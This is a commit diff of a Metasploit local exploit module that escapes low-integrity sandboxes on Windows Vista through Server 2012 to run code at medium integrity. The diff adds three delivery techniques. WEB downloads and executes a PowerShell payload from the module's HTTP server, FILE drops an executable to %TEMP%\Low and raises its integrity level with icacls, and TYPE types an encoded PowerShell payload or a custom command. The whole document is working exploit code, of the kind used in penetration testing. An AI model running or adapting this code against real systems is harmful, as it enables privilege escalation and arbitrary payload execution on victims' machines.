12
12
class Metasploit3 < Msf ::Exploit ::Local
13
13
Rank = ExcellentRanking
14
14
15
+ include Msf ::Exploit ::Powershell
15
16
include Msf ::Exploit ::EXE
16
17
include Msf ::Exploit ::Remote ::HttpServer
17
- include Msf ::Post ::File
18
18
include Msf ::Exploit ::FileDropper
19
+ include Msf ::Post ::File
19
20
20
21
def initialize ( info = { } )
21
22
super ( update_info ( info ,
@@ -31,7 +32,11 @@ def initialize(info={})
31
32
affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT.
32
33
But Spawning a command prompt with the shortcut key does not work in Vista so you will
33
34
have to check if the user is already running a command prompt and set SPAWN_PROMPT
34
- false.
35
+ false. The WEB technique will use powershell to download and execute a powershell
36
+ encoded payload. The FILE technique will drop an executable to the file system, set it
37
+ to medium integrity and execute it. The TYPE technique will attempt to execute a
38
+ powershell encoded payload directly from the command line but it may take some time to
39
+ complete.
35
40
} ,
36
41
'License' => MSF_LICENSE ,
37
42
'Author' =>
@@ -61,14 +66,14 @@ def initialize(info={})
61
66
register_options (
62
67
[
63
68
OptBool . new ( 'SPAWN_PROMPT' , [ true , 'Attempts to spawn a medium integrity command prompt' , true ] ) ,
64
- OptBool . new ( 'FILESYSTEM' , [ true , 'Drop payload to filesystem and execute' , false ] )
69
+ OptEnum . new ( 'TECHNIQUE' , [ true , 'Delivery technique' , 'WEB' , [ 'WEB' , 'FILE' , 'TYPE' ] ] ) ,
70
+ OptString . new ( 'CUSTOM_COMMAND' , [ false , 'Custom command to type' ] )
71
+
65
72
] , self . class
66
73
)
67
74
68
75
end
69
76
70
- # Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb
71
- # Or use GetToken railgun calls?
72
77
def low_integrity_level?
73
78
tmp_dir = expand_path ( "%USERPROFILE%" )
74
79
cd ( tmp_dir )
@@ -115,6 +120,7 @@ def cleanup
115
120
vprint_status ( "Rehiding window..." )
116
121
client . railgun . user32 . ShowWindow ( @hwin , 0 )
117
122
end
123
+ super
118
124
end
119
125
120
126
def exploit
@@ -127,10 +133,11 @@ def exploit
127
133
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
128
134
# integrity process can write.
129
135
drop_to_fs = false
130
- if datastore [ "FILESYSTEM" ]
136
+ if datastore [ 'TECHNIQUE' ] == 'FILE'
131
137
payload_file = "#{ rand_text_alpha ( 5 +rand ( 3 ) ) } .exe"
132
138
begin
133
139
tmp_dir = expand_path ( "%TEMP%" )
140
+ tmp_dir << "\\ Low" unless tmp_dir [ -3 , 3 ] =~ /Low/i
134
141
cd ( tmp_dir )
135
142
print_status ( "Trying to drop payload to #{ tmp_dir } ..." )
136
143
if write_file ( payload_file , generate_payload_exe )
@@ -151,10 +158,16 @@ def exploit
151
158
if drop_to_fs
152
159
command = "cd #{ payload_path } && icacls #{ payload_file } /setintegritylevel medium && #{ payload_file } "
153
160
make_it ( command )
161
+ elsif datastore [ 'TECHNIQUE' ] == 'TYPE'
162
+ if datastore [ 'CUSTOM_COMMAND' ]
163
+ command = datastore [ 'CUSTOM_COMMAND' ]
164
+ else
165
+ command = cmd_psh_payload ( payload . encoded )
166
+ end
167
+ make_it ( command )
154
168
else
155
169
super
156
170
end
157
-
158
171
end
159
172
160
173
def primer
0 commit comments